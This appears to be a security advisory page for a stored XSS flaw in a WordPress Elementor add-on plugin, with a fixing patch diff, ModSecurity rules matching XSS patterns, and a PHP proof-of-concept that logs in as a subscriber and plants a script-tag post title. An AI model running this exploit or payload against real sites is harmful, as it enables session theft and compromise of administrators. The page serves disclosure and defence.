                             case 'text':
                             case 'email':
                             case 'url':
@@ -3833,7 +3833,7 @@
                                             echo esc_html__('Please remove unsupported file type(s):', 'king-addons');
                                             foreach ($non_whitelisted as $type) {
                                                 if (!empty($type)) {
-                                                    echo '<li>' . $type . ' <li/>';
+                                                    echo '<li>' . esc_html($type) . ' <li/>';
                                                 }
                                             }
                                             echo '</ul>';
@@ -3851,7 +3851,7 @@
                                 echo '<input size="1 "' . $this->get_render_attribute_string('input' . $item_index) . '>';
                                 break;
                             case 'king-addons-fb-step':
-                                echo '<input type="hidden" class="king-addons-fb-step-input" id=form-field-' . esc_attr($item['field_id']) . ' value=' . $item['field_label'] . '>';
+                                echo '<input type="hidden" class="king-addons-fb-step-input" id="form-field-' . esc_attr($item['field_id']) . '" value="' . esc_attr($item['field_label']) . '">';
                                 break;
                             default:
                                 $field_type = $item['field_type'];
--- a/king-addons/includes/widgets/Form_Builder/helpers/Create_Submission.php
+++ b/king-addons/includes/widgets/Form_Builder/helpers/Create_Submission.php
@@ -19,10 +19,8 @@
     public function add_to_submissions()
     {

-        $nonce = $_POST['nonce'];
+        $nonce = isset($_POST['nonce']) ? sanitize_text_field(wp_unslash($_POST['nonce'])) : '';

-        // Security fix: Generate nonce server-side instead of relying on client-provided nonce
-        $server_nonce = wp_create_nonce('king-addons-js');
         if (!wp_verify_nonce($nonce, 'king-addons-js')) {
             wp_send_json_error(array(
                 'message' => esc_html__('Security check failed.', 'king-addons'),
@@ -44,7 +42,7 @@
         $post_id = wp_insert_post($new);

         // Security fix: Validate and sanitize form_content before saving to database
-        $form_content = isset($_POST['form_content']) && is_array($_POST['form_content']) ? $_POST['form_content'] : [];
+        $form_content = isset($_POST['form_content']) && is_array($_POST['form_content']) ? wp_unslash($_POST['form_content']) : [];

         foreach ($form_content as $key => $value) {
             if (!is_array($value) || count($value) < 3) {
@@ -62,16 +60,17 @@
             update_post_meta($post_id, $sanitized_key, $sanitized_value);
         }

-        $sanitized_form_name = sanitize_text_field($_POST['form_name'] ?? '');
-        $sanitized_form_id = sanitize_text_field($_POST['form_id'] ?? '');
-        $sanitized_form_page = sanitize_text_field($_POST['form_page'] ?? '');
-        $sanitized_form_page_id = sanitize_text_field($_POST['form_page_id'] ?? '');
+        $sanitized_form_name = sanitize_text_field(wp_unslash($_POST['form_name'] ?? ''));
+        $sanitized_form_id = sanitize_key(wp_unslash($_POST['form_id'] ?? ''));
+        $sanitized_form_page = sanitize_text_field(wp_unslash($_POST['form_page'] ?? ''));
+        $sanitized_form_page_id = absint($_POST['form_page_id'] ?? 0);

         update_post_meta($post_id, 'king_addons_form_name', $sanitized_form_name);
         update_post_meta($post_id, 'king_addons_form_id', $sanitized_form_id);
         update_post_meta($post_id, 'king_addons_form_page', $sanitized_form_page);
         update_post_meta($post_id, 'king_addons_form_page_id', $sanitized_form_page_id);
-        update_post_meta($post_id, 'king_addons_user_agent', sanitize_textarea_field(wp_unslash($_SERVER['HTTP_USER_AGENT'])));
+        $user_agent = isset($_SERVER['HTTP_USER_AGENT']) ? sanitize_textarea_field(wp_unslash($_SERVER['HTTP_USER_AGENT'])) : '';
+        update_post_meta($post_id, 'king_addons_user_agent', $user_agent);
         update_post_meta($post_id, 'king_addons_user_ip', Core::getClientIP());

         if ($post_id) {
--- a/king-addons/includes/widgets/Form_Builder/helpers/View_Submissions_Pro.php
+++ b/king-addons/includes/widgets/Form_Builder/helpers/View_Submissions_Pro.php
@@ -82,6 +82,7 @@


             if (isset($post) && $post->post_type === $post_type) {
+                $form_page_id = absint(get_post_meta($post->ID, 'king_addons_form_page_id', true));

                 // Check if Pro constants are defined before using them
                 if (defined('KING_ADDONS_PRO_URL') && defined('KING_ADDONS_PRO_VERSION')) {
@@ -96,17 +97,17 @@
                     'king-addons-form-builder-submissions-js',
                     'KingAddonsSubmissions',
                     [
-                        'ajaxurl' => admin_url('admin-ajax.php'),
-                        'resturl' => get_rest_url() . 'king-addons/v1',
+                        'ajaxurl' => esc_url_raw(admin_url('admin-ajax.php')),
+                        'resturl' => esc_url_raw(get_rest_url() . 'king-addons/v1'),
                         'nonce' => wp_create_nonce('king-addons-submissions-js'),
-                        'form_name' => get_post_meta($post->ID, 'king_addons_form_name', true),
-                        'form_id' => get_post_meta($post->ID, 'king_addons_form_id', true),
-                        'form_page' => get_post_meta($post->ID, 'king_addons_form_page', true),
-                        'form_page_id' => get_post_meta($post->ID, 'king_addons_form_page_id', true),
-                        'form_page_url' => get_permalink(get_post_meta($post->ID, 'king_addons_form_page_id', true)),
-                        'form_page_editor' => admin_url('post.php?post=' . get_post_meta($post->ID, 'king_addons_form_page_id', true) . '&action=elementor'),
-                        'form_agent' => get_post_meta($post->ID, 'king_addons_user_agent', true),
-                        'agent_ip' => get_post_meta($post->ID, 'king_addons_user_ip', true),
+                        'form_name' => sanitize_text_field(get_post_meta($post->ID, 'king_addons_form_name', true)),
+                        'form_id' => sanitize_key(get_post_meta($post->ID, 'king_addons_form_id', true)),
+                        'form_page' => sanitize_text_field(get_post_meta($post->ID, 'king_addons_form_page', true)),
+                        'form_page_id' => $form_page_id,
+                        'form_page_url' => $form_page_id ? esc_url_raw(get_permalink($form_page_id)) : '',
+                        'form_page_editor' => $form_page_id ? esc_url_raw(admin_url('post.php?post=' . $form_page_id . '&action=elementor')) : '',
+                        'form_agent' => sanitize_textarea_field(get_post_meta($post->ID, 'king_addons_user_agent', true)),
+                        'agent_ip' => sanitize_text_field(get_post_meta($post->ID, 'king_addons_user_ip', true)),
                         'post_created' => date('F j, Y g:i a', strtotime($post->post_date)),
                         'post_updated' => date('F j, Y g:i a', strtotime($post->post_modified)),
                     ]
@@ -272,6 +273,7 @@
         $submission = get_post($post_id);
         $submission_meta = get_post_meta($post_id);
         $action_status = 'success';
+        $main_key = '';

         foreach ($submission_meta as $key => $value) {
             if (str_contains($key, 'form_field-email')) {
@@ -287,44 +289,53 @@

         switch ($column) {
             case 'main':
+                $main_value = '';
+                if ($main_key !== '') {
+                    $main_meta = get_post_meta($post_id, $main_key, true);
+                    $main_value = is_array($main_meta) && isset($main_meta[1]) ? $main_meta[1] : $main_meta;
+                }

                 echo sprintf(
                     '<a href="%s" title="%s">%s</a>',
                     esc_url(admin_url('post.php?post=' . $post_id . '&action=edit')),
-                    __('View', 'king-addons'),
-                    __(get_post_meta($post_id, $main_key, true)[1], 'king-addons')
+                    esc_attr__('View', 'king-addons'),
+                    esc_html($main_value)
                 );
                 break;

             case 'action_status':

-                echo $action_status;
+                echo esc_html($action_status);
                 break;

             case 'form_id':
-                echo '<a href="' . admin_url('post.php?post=' . get_post_meta($post_id, 'king_addons_form_page_id', true) . '&action=elementor') . '" target="_blank">';
-                echo get_post_meta($post_id, 'king_addons_form_name', true);
+                $form_page_id = absint(get_post_meta($post_id, 'king_addons_form_page_id', true));
+                $form_name = sanitize_text_field(get_post_meta($post_id, 'king_addons_form_name', true));
+                echo '<a href="' . esc_url($form_page_id ? admin_url('post.php?post=' . $form_page_id . '&action=elementor') : '#') . '" target="_blank" rel="noopener noreferrer">';
+                echo esc_html($form_name);
                 echo '</a>';
                 break;

             case 'page':
-                echo '<a href="' . get_permalink(get_post_meta($post_id, 'king_addons_form_page_id', true)) . '" target="_blank">';
-                echo get_post_meta($post_id, 'king_addons_form_page', true);
+                $form_page_id = absint(get_post_meta($post_id, 'king_addons_form_page_id', true));
+                $form_page = sanitize_text_field(get_post_meta($post_id, 'king_addons_form_page', true));
+                echo '<a href="' . esc_url($form_page_id ? get_permalink($form_page_id) : '#') . '" target="_blank" rel="noopener noreferrer">';
+                echo esc_html($form_page);
                 echo '</a>';
                 break;

             case 'post_id':

-                echo $submission->ID;
+                echo esc_html(absint($submission->ID));
                 break;

             case 'read_status':
                 $read_status = get_post_meta($post_id, 'king_addons_submission_read_status', true);

                 if ($read_status == '1') {
-                    echo '<span class="king-addons-button king-addons-submission-read">' . __('Read') . '</span>';
+                    echo '<span class="king-addons-button king-addons-submission-read">' . esc_html__('Read', 'king-addons') . '</span>';
                 } else {
-                    echo '<span class="king-addons-button king-addons-submission-unread">' . __('Unread') . '</span>';
+                    echo '<span class="king-addons-button king-addons-submission-unread">' . esc_html__('Unread', 'king-addons') . '</span>';
                 }
                 break;

@@ -344,6 +355,10 @@
         $post_id = intval($_POST['post_id']);
         $read_status = $_POST['read_status'] === '1' ? '1' : '0';

+        if (!current_user_can('edit_post', $post_id)) {
+            wp_send_json_error('Insufficient permissions');
+        }
+
         update_post_meta($post_id, 'king_addons_submission_read_status', $read_status);

         wp_send_json_success();
@@ -360,6 +375,9 @@
                     $post_id = intval($_GET['post']);
                     $post = get_post($post_id);

+                    if (!$post || !current_user_can('edit_post', $post_id)) {
+                        return;
+                    }

                     update_post_meta($post_id, 'king_addons_submission_read_status', '1');
                 }
--- a/king-addons/includes/widgets/Google_Maps/Google_Maps.php
+++ b/king-addons/includes/widgets/Google_Maps/Google_Maps.php
@@ -399,7 +399,7 @@
                         'gm_longitude' => '-73.965355',
                     ],
                 ],
-                'title_field' => '{{{ gm_location_title }}}',
+                'title_field' => '{{ gm_location_title }}',
             ]
         );

--- a/king-addons/includes/widgets/Hovering_Image_Stack/Hovering_Image_Stack.php
+++ b/king-addons/includes/widgets/Hovering_Image_Stack/Hovering_Image_Stack.php
@@ -255,7 +255,7 @@
                 'label' => esc_html__('Items', 'king-addons'),
                 'type' => Controls_Manager::REPEATER,
                 'fields' => $repeater->get_controls(),
-                'title_field' => '{{{ name }}}',
+                'title_field' => '{{ name }}',
                 'default' => [
                     [
                         'king_addons_hovering_image_stack_image' => [
--- a/king-addons/includes/widgets/Image_Accordion/Image_Accordion.php
+++ b/king-addons/includes/widgets/Image_Accordion/Image_Accordion.php
@@ -626,7 +626,7 @@
                         ],
                     ],
                 ],
-                'title_field' => '{{{ accordion_item_title }}}',
+                'title_field' => '{{ accordion_item_title }}',
             ]
         );

@@ -1023,7 +1023,7 @@
                         'element_select' => 'button',
                     ],
                 ],
-                'title_field' => '{{{ element_select.charAt(0).toUpperCase() + element_select.slice(1) }}}',
+                'title_field' => '{{ element_select.charAt(0).toUpperCase() + element_select.slice(1) }}',
             ]
         );

@@ -2183,7 +2183,7 @@
             $element_title_tag = Core::validateHTMLTags($settings['element_title_tag'], 'h2', $tags_whitelist);
             echo '<' . $element_title_tag . ' class="' . esc_attr($class) . '">';
             echo '<div class="inner-block"><a class="king-addons-pointer-item">';
-            echo $item['accordion_item_title'];
+            echo esc_html($item['accordion_item_title']);
             echo '</a></div></' . $element_title_tag . '>';
         }
     }
@@ -2191,7 +2191,7 @@
     public function render_repeater_description($class, $item)
     {
         if ('' === $item['accordion_item_description']) return;
-        echo '<div class="' . esc_attr($class) . '"><div class="inner-block"><p>' . $item['accordion_item_description'] . '</p></div></div>';
+        echo '<div class="' . esc_attr($class) . '"><div class="inner-block"><p>' . wp_kses_post($item['accordion_item_description']) . '</p></div></div>';
     }

     public function render_repeater_button($settings, $class, $item)
--- a/king-addons/includes/widgets/Image_Comparison/Image_Comparison.php
+++ b/king-addons/includes/widgets/Image_Comparison/Image_Comparison.php
@@ -436,7 +436,7 @@
     protected function render(): void
     {
         $settings = $this->get_settings_for_display();
-        $element_ID = $this->get_id();
+        $element_ID = sanitize_key($this->get_id());

         // Define allowed tags and attributes
         $allowed_tags = wp_kses_allowed_html('post');
@@ -471,10 +471,18 @@
             </div>
         </div>
         <?php
-        $inline_js = "const container_" . esc_js($element_ID) . " = document.querySelector('.king-addons-image-comparison-" . esc_js($element_ID) . "');
-            document.querySelector('.king-addons-image-comparison-slider-" . esc_js($element_ID) . "').addEventListener('input', (e) => {
-                container_" . esc_js($element_ID) . ".style.setProperty('--position', " . '`${e.target.value}%`' . ");
-            });";
+        $container_selector = '.king-addons-image-comparison-' . $element_ID;
+        $slider_selector = '.king-addons-image-comparison-slider-' . $element_ID;
+        $inline_js = '(() => {
+            const container = document.querySelector(' . wp_json_encode($container_selector) . ');
+            const slider = document.querySelector(' . wp_json_encode($slider_selector) . ');
+            if (!container || !slider) {
+                return;
+            }
+            slider.addEventListener("input", (event) => {
+                container.style.setProperty("--position", `${event.target.value}%`);
+            });
+        })();';
         wp_print_inline_script_tag($inline_js);
     }
 }
 No newline at end of file
--- a/king-addons/includes/widgets/Image_Hotspots/Image_Hotspots.php
+++ b/king-addons/includes/widgets/Image_Hotspots/Image_Hotspots.php
@@ -380,7 +380,7 @@
                     ],

                 ],
-                'title_field' => '{{{ kng_img_hotspots_hotspot_tooltip_content }}}',
+                'title_field' => '{{ kng_img_hotspots_hotspot_tooltip_content }}',
             ]
         );

--- a/king-addons/includes/widgets/Image_Marquee/Image_Marquee.php
+++ b/king-addons/includes/widgets/Image_Marquee/Image_Marquee.php
@@ -221,7 +221,7 @@
                 'type' => Controls_Manager::REPEATER,
                 'fields' => $repeater->get_controls(),
                 'default' => $this->get_default_items(),
-                'title_field' => '{{{ item_title }}}',
+                'title_field' => '{{ item_title }}',
             ]
         );

--- a/king-addons/includes/widgets/Interactive_Steps_Progress/Interactive_Steps_Progress.php
+++ b/king-addons/includes/widgets/Interactive_Steps_Progress/Interactive_Steps_Progress.php
@@ -331,7 +331,7 @@
                 'type' => Controls_Manager::REPEATER,
                 'fields' => $repeater->get_controls(),
                 'default' => $this->get_default_steps(),
-                'title_field' => '{{{ step_title }}}',
+                'title_field' => '{{ step_title }}',
             ]
         );

--- a/king-addons/includes/widgets/KPI_Tiles_Microcharts/KPI_Tiles_Microcharts.php
+++ b/king-addons/includes/widgets/KPI_Tiles_Microcharts/KPI_Tiles_Microcharts.php
@@ -485,7 +485,7 @@
                         'kng_tile_badge' => '',
                     ],
                 ],
-                'title_field' => '{{{ kng_tile_title }}}',
+                'title_field' => '{{ kng_tile_title }}',
             ]
         );

--- a/king-addons/includes/widgets/Liquid_Glass_Cards/Liquid_Glass_Cards.php
+++ b/king-addons/includes/widgets/Liquid_Glass_Cards/Liquid_Glass_Cards.php
@@ -269,7 +269,7 @@
                 'type' => Controls_Manager::REPEATER,
                 'fields' => $repeater->get_controls(),
                 'default' => $this->get_default_cards(),
-                'title_field' => '{{{ kng_card_title }}}',
+                'title_field' => '{{ kng_card_title }}',
             ]
         );

@@ -1476,7 +1476,7 @@
                 'label' => esc_html__('Layers', 'king-addons'),
                 'type' => Controls_Manager::REPEATER,
                 'fields' => $layer_repeater->get_controls(),
-                'title_field' => '{{{ kng_layer_type }}}',
+                'title_field' => '{{ kng_layer_type }}',
                 'default' => [
                     [
                         'kng_layer_type' => 'gradient',
--- a/king-addons/includes/widgets/Login_Register_Form/Login_Register_Form.php
+++ b/king-addons/includes/widgets/Login_Register_Form/Login_Register_Form.php
@@ -1992,7 +1992,7 @@
                     'label' => esc_html__('Additional Fields', 'king-addons'),
                     'type' => Controls_Manager::REPEATER,
                     'fields' => $repeater->get_controls(),
-                    'title_field' => '{{{ field_label }}}',
+                    'title_field' => '{{ field_label }}',
                     'default' => [],
                 ]
             );
@@ -3108,7 +3108,7 @@
                                 required>
                      </div>

-                     <div class="king-addons-form-field <?php echo $settings['show_password_visibility_login'] === 'yes' ? 'king-addons-password-field' : ''; ?>">
+                     <div class="king-addons-form-field <?php echo esc_attr($settings['show_password_visibility_login'] === 'yes' ? 'king-addons-password-field' : ''); ?>">
                          <?php if ($show_labels && !empty($settings['login_password_label'])): ?>
                              <label for="king-addons-login-password-<?php echo esc_attr($widget_id); ?>">
                                  <?php echo esc_html($settings['login_password_label']); ?>
@@ -3263,7 +3263,7 @@
                          </div>
                          <?php endif; ?>

-                         <div class="king-addons-form-field <?php echo $settings['show_password_visibility_register'] === 'yes' ? 'king-addons-password-field' : ''; ?>">
+                         <div class="king-addons-form-field <?php echo esc_attr($settings['show_password_visibility_register'] === 'yes' ? 'king-addons-password-field' : ''); ?>">
                              <?php if ($show_labels && !empty($settings['register_password_label'])): ?>
                                  <label for="king-addons-register-password-<?php echo esc_attr($widget_id); ?>">
                                      <?php echo esc_html($settings['register_password_label']); ?>
@@ -3283,7 +3283,7 @@
                              </div>
                          </div>

-                         <div class="king-addons-form-field <?php echo $settings['show_password_visibility_register'] === 'yes' ? 'king-addons-password-field' : ''; ?>">
+                         <div class="king-addons-form-field <?php echo esc_attr($settings['show_password_visibility_register'] === 'yes' ? 'king-addons-password-field' : ''); ?>">
                              <?php if ($show_labels && !empty($settings['register_confirm_password_label'])): ?>
                                  <label for="king-addons-register-confirm-password-<?php echo esc_attr($widget_id); ?>">
                                      <?php echo esc_html($settings['register_confirm_password_label']); ?>
@@ -3334,7 +3334,7 @@
                          <div class="king-addons-form-field king-addons-checkbox-field">
                              <label>
                                  <input type="checkbox" name="terms_conditions" value="1"
-                                        <?php echo $settings['terms_required'] === 'yes' ? 'required' : ''; ?>>
+                                        <?php echo esc_attr($settings['terms_required'] === 'yes' ? 'required' : ''); ?>>
                                  <?php
                                  if (!empty($settings['terms_conditions_link']['url'])):
                                      $link_target = $settings['terms_conditions_link']['is_external'] ? '_blank' : '_self';
--- a/king-addons/includes/widgets/Magazine_Grid/Magazine_Grid.php
+++ b/king-addons/includes/widgets/Magazine_Grid/Magazine_Grid.php
@@ -1656,7 +1656,7 @@
                         'element_align_hr' => 'left',
                     ],
                 ],
-                'title_field' => '{{{ element_select.charAt(0).toUpperCase() + element_select.slice(1) }}}',
+                'title_field' => '{{ element_select.charAt(0).toUpperCase() + element_select.slice(1) }}',
             ]
         );

--- a/king-addons/includes/widgets/Media_Grid/Media_Grid.php
+++ b/king-addons/includes/widgets/Media_Grid/Media_Grid.php
@@ -1832,7 +1832,7 @@
                         'element_sharing_trigger_icon' => 'fas fa-share',
                     ],
                 ],
-                'title_field' => '{{{ element_select.charAt(0).toUpperCase() + element_select.slice(1) }}}',
+                'title_field' => '{{ element_select.charAt(0).toUpperCase() + element_select.slice(1) }}',
             ]
         );

--- a/king-addons/includes/widgets/One_Page_Navigation/One_Page_Navigation.php
+++ b/king-addons/includes/widgets/One_Page_Navigation/One_Page_Navigation.php
@@ -322,7 +322,7 @@
                         ],
                     ],
                 ],
-                'title_field' => '{{{ kng_one_page_nav_item_name }}}',
+                'title_field' => '{{ kng_one_page_nav_item_name }}',
             ]
         );

--- a/king-addons/includes/widgets/Page_List/Page_List.php
+++ b/king-addons/includes/widgets/Page_List/Page_List.php
@@ -283,7 +283,7 @@
                         'page_list_item_sub_title' => esc_html__('Third Sub Title', 'king-addons'),
                     ],
                 ],
-                'title_field' => '{{{ page_list_item_title }}}',
+                'title_field' => '{{ page_list_item_title }}',
             ]
         );

--- a/king-addons/includes/widgets/Parallax_Depth_Cards/Parallax_Depth_Cards.php
+++ b/king-addons/includes/widgets/Parallax_Depth_Cards/Parallax_Depth_Cards.php
@@ -592,7 +592,7 @@
                         'kng_pdc_badge_text' => esc_html__('Pro', 'king-addons'),
                     ],
                 ],
-                'title_field' => '{{{ kng_pdc_title }}}',
+                'title_field' => '{{ kng_pdc_title }}',
             ]
         );

--- a/king-addons/includes/widgets/Posts_Grid/Posts_Grid.php
+++ b/king-addons/includes/widgets/Posts_Grid/Posts_Grid.php
@@ -2990,7 +2990,7 @@
                         'element_select' => 'read-more',
                     ],
                 ],
-                'title_field' => '{{{ element_select.charAt(0).toUpperCase() + element_select.slice(1) }}}',
+                'title_field' => '{{ element_select.charAt(0).toUpperCase() + element_select.slice(1) }}',
             ]
         );

--- a/king-addons/includes/widgets/Pricing_Calculator/Pricing_Calculator.php
+++ b/king-addons/includes/widgets/Pricing_Calculator/Pricing_Calculator.php
@@ -426,7 +426,7 @@
                         'field_price_type' => 'add',
                     ],
                 ],
-                'title_field' => '{{{ field_label }}}',
+                'title_field' => '{{ field_label }}',
             ]
         );

--- a/king-addons/includes/widgets/Pricing_Slider/Pricing_Slider.php
+++ b/king-addons/includes/widgets/Pricing_Slider/Pricing_Slider.php
@@ -351,7 +351,7 @@
                         'price' => 99.99,
                     ],
                 ],
-                'title_field' => '{{{ value }}} - {{{ price }}}',
+                'title_field' => '{{ value }} - {{ price }}',
                 'condition' => [
                     'price_formula' => 'custom',
                 ],
@@ -447,7 +447,7 @@
                         'min_value_feature' => 60,
                     ],
                 ],
-                'title_field' => '{{{ feature_text }}}',
+                'title_field' => '{{ feature_text }}',
                 'condition' => [
      

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-48870
# Block XSS attempts through Ajax_Select2 API endpoint by matching malicious patterns in query parameters
SecRule REQUEST_URI "@rx ^/wp-json/king-addons/v1/select2$" 
  "id:20261970,phase:2,deny,status:403,chain,msg:'CVE-2026-48870 King Addons Ajax Select2 XSS',severity:'CRITICAL',tag:'CVE-2026-48870'"
  SecRule ARGS_GET:action "@streq getPostsByPostType" "chain"
    SecRule ARGS_GET:s "@rx <script|<img|<svg|<iframe|onerror|onload|onclick|alert(" 
      "t:lowercase,t:urlDecode,t:removeNulls"

# Block XSS in post titles returned by the endpoint (stored XSS via unsanitized output)
SecRule REQUEST_URI "@rx ^/wp-json/king-addons/v1/select2$" 
  "id:20261971,phase:2,deny,status:403,chain,msg:'CVE-2026-48870 King Addons Stored XSS via title',severity:'CRITICAL',tag:'CVE-2026-48870'"
  SecRule ARGS_GET:action "@rx ^(getPostsByPostType|getElementorTemplates)$" "chain"
    SecRule ARGS_GET:query_slug "@rx post|page|elementor_library" "chain"
      SecRule ARGS_GET:ids "@rx [0-9]+(,[0-9]+)*" "chain"
        SecRule ARGS_GET:s "@rx <[^>]+>|javascript:|data:text/html" 
          "t:lowercase,t:urlDecode,t:removeNulls"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-48870 - King Addons for Elementor Stored XSS

/*
 * This PoC demonstrates the stored XSS vulnerability through the Ajax_Select2 API.
 * It requires valid subscriber credentials. The attacker creates a post with a
 * malicious title containing JavaScript. When the Ajax_Select2 endpoint is queried,
 * the unsanitized title is returned and rendered in the context of the admin panel.
 */

$target_url = 'http://example.com'; // Change this to the target WordPress URL
$username = 'subscriber_user';
$password = 'subscriber_password';

// Step 1: Authenticate and get WordPress nonce
$login_url = $target_url . '/wp-login.php';
$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL => $login_url,
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query([
        'log' => $username,
        'pwd' => $password,
        'wp-submit' => 'Log In',
        'redirect_to' => $target_url . '/wp-admin/',
        'testcookie' => 1,
    ]),
    CURLOPT_COOKIEJAR => '/tmp/cookies.txt',
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_FOLLOWLOCATION => true,
    CURLOPT_HEADER => true,
]);
curl_exec($ch);

// Step 2: Get nonce for REST API (use admin-ajax to get nonce)
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
curl_setopt_array($ch, [
    CURLOPT_URL => $ajax_url,
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query([
        'action' => 'rest-nonce',
    ]),
    CURLOPT_COOKIEFILE => '/tmp/cookies.txt',
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_HEADER => false,
]);
$nonce_response = curl_exec($ch);

// Step 3: Create a post with malicious title (subscriber may not have publish caps,
// but if they can create drafts, the title is still stored)
$rest_url = $target_url . '/wp-json/wp/v2/posts';
$payload_post = [
    'title' => '<script>alert(document.cookie)</script>',
    'content' => 'XSS test post',
    'status' => 'draft',
];
curl_setopt_array($ch, [
    CURLOPT_URL => $rest_url,
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => json_encode($payload_post),
    CURLOPT_HTTPHEADER => [
        'Content-Type: application/json',
        'X-WP-Nonce: ' . $nonce_response,
    ],
    CURLOPT_COOKIEFILE => '/tmp/cookies.txt',
    CURLOPT_RETURNTRANSFER => true,
]);
$create_response = curl_exec($ch);
$created_post = json_decode($create_response, true);
if (isset($created_post['id'])) {
    echo "[+] Created post ID: " . $created_post['id'] . " with malicious title.n";
} else {
    echo "[-] Failed to create post. Response: " . $create_response . "n";
    exit;
}

// Step 4: Trigger the vulnerable Ajax_Select2 endpoint to fetch posts
// (adjust endpoint path as per actual plugin registration)
$select2_url = $target_url . '/wp-json/king-addons/v1/select2?action=getPostsByPostType&query_slug=post&s=';
curl_setopt_array($ch, [
    CURLOPT_URL => $select2_url,
    CURLOPT_HTTPGET => true,
    CURLOPT_HTTPHEADER => [
        'X-WP-Nonce: ' . $nonce_response,
    ],
    CURLOPT_COOKIEFILE => '/tmp/cookies.txt',
    CURLOPT_RETURNTRANSFER => true,
]);
$response = curl_exec($ch);
$data = json_decode($response, true);
if (isset($data['results'][0]['text'])) {
    echo "[+] Retrieved post title: " . $data['results'][0]['text'] . "n";
    echo "[!] If the title contains unsanitized HTML/JS, XSS is triggered when this response is rendered.n";
} else {
    echo "[-] Unexpected response. Raw: " . $response . "n";
}

curl_close($ch);
// Clean up temporary cookies file
unlink('/tmp/cookies.txt');

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School